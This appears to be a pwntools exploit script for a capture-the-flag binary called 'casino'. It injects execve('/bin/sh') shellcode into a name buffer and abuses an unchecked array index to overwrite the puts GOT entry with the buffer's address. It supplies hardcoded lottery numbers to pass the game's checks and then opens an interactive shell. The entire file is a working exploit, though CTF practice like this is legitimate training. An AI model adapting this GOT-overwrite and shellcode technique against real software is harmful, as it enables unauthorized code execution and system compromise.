#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./casino')
# pause()

lotteries = [0x17, 0x5b, 0x13, 0x9, 0x3a, 0x5c]

puts_got = 0x602020
guess = 0x6020d0
name = 0x6020f0

shellcode = asm(
    '''
    movabs rax, 0x68732f6e69622f
    push rax
    mov rdi,rsp
    push 0x3b
    pop rax
    xor rsi ,rsi
    xor rdx, rdx
    syscall
    '''
    # 0x732f6e69622fb848
    # 0x3b6ae78948500068
    # 0x0fd23148f6314858
    # 0x0000000000000a05
)

p.sendlineafter(':', shellcode)

p.sendlineafter(':', str(0x0fd23148))

for lottery in lotteries:
    p.sendlineafter(':', str(lottery+1))

p.sendlineafter(']:', "1")

# puts 後半
p.sendlineafter(':', str((puts_got - guess + 4)/4+1))

p.sendlineafter(':', "0")

for lottery in lotteries:
    p.sendlineafter(':', str(lottery))

p.sendlineafter(']:', "1")

# puts 前半
p.sendlineafter(':', str((puts_got - guess)/4+1))

p.sendlineafter(':', str(name))

p.interactive()
p.close()
